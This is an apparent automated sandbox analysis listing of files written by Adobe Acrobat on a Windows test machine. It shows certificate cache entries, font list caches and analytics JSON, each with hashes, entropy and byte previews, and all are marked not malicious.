Entropy (8bit):	3.765018348501331
Encrypted:	false
SSDEEP:	48:7MSJioyVZioyloy1C7oy16oy17KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Oj:7pJuZ/WXjBiob9IVXEBodRBkV
MD5:	DBC0A900DABF25151B58DE51041077A3
SHA1:	8CC9AECA69FAB5A53370AF217171C4AF233030C7
SHA-256:	888FC987437D9291B95498E8FC384EE95D4A2DD4ADB2E0C6C412DF448764F44A
SHA-512:	2BE0EF7F475602C61C8CB52B532081717D8E9F52495D10805207D2E9CB04F4694CF24990A346802B696C9A46623590092DD84C584296C86D19B75025CEBA53BB
Malicious:	false
Preview:	.... .c......NT<...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklONtfllXlE/HT8kqll7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKXNeT8xVNMa8RdWBwRd
MD5:	C913C3E8691787F5F5F786642BD55DA1
SHA1:	BBD3106EC3CD985DC93058A801DA8EDB02F134EB
SHA-256:	44A644FBF4B69BF07A7A1A1AD49E8C872EF1FCB32505E7574C2AB42D72CD4D4F
SHA-512:	EC657844A8FE675A391C7F2EE43013A5C33AB20120F634013EE67148EE793846B399912C1D8A743E8A5F0979F6D0A1F6EA7C2153A1434DFC1F17CD61480565AA
Malicious:	false
Preview:	p...... ........=<w..c..(....................................................... ..........W....?D..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKykPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:asiDnLNkPlE99SNxAhUe/3
MD5:	50246F0942D4B7CD59F0F446DBB8F57A
SHA1:	925B4E8C034E7DF879275C6417136AF2FB314EBE
SHA-256:	01BC7E0E8FC6E5228B5F92754642BCF90C593220D7C4C4857485CF49A500C7F8
SHA-512:	18902083D89F8AEFDA6F662980E5327A9138A1ED2D76662CD1258A2CCAA6600BFF553AD2145F44B31B6845C4E03DED7B36FD2E318F12AE84C7B4D75BF15337B1
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7792

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7792

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365352855836438
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJM3g98kUwPeUkwRe9:YvXKXqRpSUitoTGMbLUkee9
MD5:	86300EC390F68CDAFC92D643BAEAD415
SHA1:	E724D9CC61BDC8F1F0F4E0C0738D4548789CD6A8
SHA-256:	E3F01E0BA7F1FEC2D520E6F750255BE7A46C0C7DCFE8032A30995106C8B33B8D
SHA-512:	544CDF6E9ED83011327CE1AD07A527986E7C5BAD48D451C5977497DD39E2CABE2B66426D3CC9829E53F03C7C3BF94478DD6247286D2EDA472565CCB356096D8B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.314228537316409
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJfBoTfXpnrPeUkwRe9:YvXKXqRpSUitoTGWTfXcUkee9
MD5:	21F75D860326993A93C97524E35D6BD5
SHA1:	78CE43B83BE56FE040E8E148B4D67D85960C4F48
SHA-256:	E7B1BA7396588F55E1821E215CC903B99554211139B0818B5FEFEC76AE86F987
SHA-512:	5EF25A1DDE6C9B9D7A141F87A96710F47D13AB6D26821D5F94C7D62439F669B1AE2E7A01437C26E234218EA7F3DD838AE33954599C17A4B241CB6C3388C2BE79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29139389116159
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJfBD2G6UpnrPeUkwRe9:YvXKXqRpSUitoTGR22cUkee9
MD5:	724338FA36BE1CE9F7643E98093CEF8F
SHA1:	0F84EA04F77FC73DBEE6753D260E480A5E0DEAEB
SHA-256:	6609EBAD96E6B20D2B4C3C22B46A2D8414B45F0BD6CB63B23D12952079C5C9FF
SHA-512:	503AB2165EEFC039D71CE21269D42186D9BA2F3587459250C60F2EABA49F855B55A3789E5D01C3520F7FB7C4E854B37783612C231F4462FBB9AC2A558205BE36
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.356101173444964
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJfPmwrPeUkwRe9:YvXKXqRpSUitoTGH56Ukee9
MD5:	812366DC85A5C2A860C3CF6BD8273C65
SHA1:	C9E714AFF72D5F75402B1DE219FE13CEA24B3F39
SHA-256:	CF12CC266F486BDE146C7A1235A5920243D8D21EF13F8251A849ACC7BA79D30A
SHA-512:	4C1F1D862089F31DCDAB206801155272845D5EA2E64C187129E64AC5E2F8CA79F2CBDEF0B97DD0871C9BD88E3782C4DBBBC76ED5EB9F67645DF1AECAF6C8CB7D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692662997706087
Encrypted:	false
SSDEEP:	24:Yv6Xopi6IpLgE9cQx8LennAvzBvkn0RCmK8czOCCS2f:YvLM6Ihgy6SAFv5Ah8cv/C
MD5:	E5B565E112D4712D067BA8B80AFF7DB2
SHA1:	A3BC3598FED8D76E45D910FC70E1CB76DA724EF2
SHA-256:	6DD9D9A9DB3261658386E19F57D35A56318AD2892C662E7C7458F1D125069600
SHA-512:	A9B7F72DEFCF36D55AE3440FC3F3CA234BA007B44610193ACE137BF277ADA4662168E1895BC3ECC5A07507D3FE0E297A138737433159B980954BEDC24AD72762
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3043111462797645
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJf8dPeUkwRe9:YvXKXqRpSUitoTGU8Ukee9
MD5:	67504F2AD4D2AD7E2D2AE19B95FA6921
SHA1:	D07AB99F43F4C7856E7194AAC39F0DCC44B0FB8B
SHA-256:	4B6B3398C1047C2444823321CEFF47C9766747EC6AF4B699EAB9C673C29DB688
SHA-512:	827240C2F6B3BFC7041F82A85268B96803166E775E08A1AD6750A587FF2A554872A13B8C812A97F3ECCAE4B7E18CBE065E643E714A14FBA92B4A3315546E9FCE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.305531052494297
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJfQ1rPeUkwRe9:YvXKXqRpSUitoTGY16Ukee9
MD5:	DB30AE93698AE16A450D279AD80FC9A8
SHA1:	B5A555FC4267DFFD02507CA68197A5F5018D23A8
SHA-256:	8A7D00CD77DCB3E20DC784FF91142B4D73FFFA4DB634C55836C67E2E7AF1BDA3
SHA-512:	06081EA9A6CB6CD047F3EF2FD43C97AA53D2D087623ABF6BBCC1F2249EC3448900C1D9680CD5B9904F4D018E0AEC31D2BE144625B8D1103E33B6270AC6BB0A2B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3144851627629315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJfFldPeUkwRe9:YvXKXqRpSUitoTGz8Ukee9
MD5:	A033819F3F34710D5E3FEC69FCDA1AF7
SHA1:	DD2BC5D8F453679A1A3846126163E5873FDB0F29
SHA-256:	5A87DE18A33F4CFEEB347A6BBD29932B9A3884830DC7F482D00104FC6C6D4178
SHA-512:	60731D145AF98E427EA77761AF978DD31F311E2082180FAC2007E5B7551D76D549F39BD12F5B61B8D4BD22155076F6341A47680B9700A9304A58FF24DEBA6755
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.331477361575063
Encrypted:	false
